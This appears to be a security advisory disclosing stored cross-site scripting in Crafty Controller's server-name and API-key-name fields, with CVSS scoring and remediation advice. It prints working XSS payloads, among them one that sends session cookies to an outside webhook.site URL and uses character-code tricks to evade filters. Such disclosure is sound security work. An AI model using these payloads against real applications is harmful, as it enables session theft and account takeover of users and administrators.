Skip to content

Stored XSS in server name form and API key name form

What is cross-site scripting (XSS)?

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

Detailed findings

During testing of Crafty Controller in the latest version, a stored cross-site scripting vulnerability has been found in 2 different forms - server name (while creating new Minecraft servers) and API key form (while creating new API keys).

XSS in server name form

While creating new server,the following payload can be used as server name: <iframe src="javascript:alert(1)">

image.png

Then, after clicking on the server, JavaScript code is being executed, confirming the presence of XSS vulnerability:

image.png

Real-world attack scenario:

Exploitation of this vulnerability can result for example in stealing session cookies. A user with permissions to create servers can create a server with a following server name:

Just a regular, innocent Minecraft server <img src=x onerror="location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'webhook.site'+String.fromCharCode(47)+'a7e045d1-0060-4963-ad24-87cd466bdaa0'+String.fromCharCode(63)+'c='+document.cookie">

Longer server name is used to hide the presence of malicious script in the list:

image.png

JavaScript code in this example is exploiting XSS vulnerability to send stolen cookies to a unique URL in webhook.site (website used to handle and manage web requests and emails). The usage of String.fromCharCode helps bypass basic filters that might block characters such as /, ?, or #

Then, after administrator would click on the server name, his cookies are sent to the attacker:

image.png

XSS in API key form

The second XSS vulnerability has been found in API key form. While creating API key, use a following script as a key name: <script>print(1)</script> :

image.png

Then, click on "Get a Token" and observe how JavaScript code is being executed, confirming the presence of stored cross-site scripting:

image.png

Note: if there is no possibility to see API keys of other users, this vulnerability is only self-exploitable (which means that the user would have to manually enter the malicious code), that is why it is not as critical as XSS in server name. However, it is highly recommended to fix this vulnerability as well.

Summary

CVSS Score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N - 7.6 (High)

These tests have been performed in a local environment. Crafty Controller was deployed on Kali Linux inside a Docker container, using the latest image from https://hub.docker.com/r/arcadiatechnology/crafty-4

Recommendations:

  • Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
  • Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
  • Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
  • Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.

Reference: